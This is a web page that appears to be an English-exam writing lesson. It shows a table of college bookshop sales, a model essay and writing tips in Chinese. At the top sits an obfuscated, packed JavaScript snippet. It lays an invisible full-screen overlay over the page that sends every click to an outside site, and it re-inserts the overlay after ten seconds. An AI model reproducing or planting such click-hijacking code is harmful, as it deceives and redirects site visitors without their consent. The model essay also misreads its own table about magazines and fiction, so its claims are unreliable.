<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>The table below summarizes some data collected by a college bookshop for the month of February 1998.
(环球写作教程强化段题目)
| Non-book Club Members
| Book Club Members | Total
|
| College staff
| College students
| Members of public
| Fiction
Non-Fiction
Magazines
| 44
29
332
| 31
194
1249
| -
122
82
| 76
942
33
| 151
1287
1696
| Total
| 405
| 1474
| 204
| 1051
| 3134
|
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参考范文：
The table clearly demonstrates three categories of books consumed by different kinds of members in a college book shop in February 1998.
As can be seen, the total number of books bought by non-book club members exceeded that of books by purchased by book club members. Moreover, magazines gained the greatest popularity while fictions were the least favored whether the consumers were book club members or not.
Among all the non-book club members, college students took the lion’s share of book purchase while members of the public represented the smallest proportion. Magazines were college staff and college students’ favorite whereas members of public preferred non-fiction. It is also worth mentioning that members of public bought no fiction at all.
On the other hand, book club members would like to choose non-fictions rather than magazines. They bought 942 non-fiction books in contrast with 33 magazines.
It is natural to make the conclusion that non-book club members were the biggest group of customers and magazines and non-fiction caught the customers’ most attention. (172 words)
名师Writing tips:
1.
Table题注重对比，所以首先要先grouping，分好类才能进行对比，数据才能合理呈现出趋势。
2.
Table题写作并不注重描写出所有数据，而是描述出趋势(趋势即grouping后两组数据对比，得到的trend)和关键data，例如the highest, the lowest。
3.
写图表题也要注意变换词汇，不然容易显得boring, 例如本文中“购买”“喜欢”就需要变化，buy, purchase, prefer, gain the greatest popularity等。
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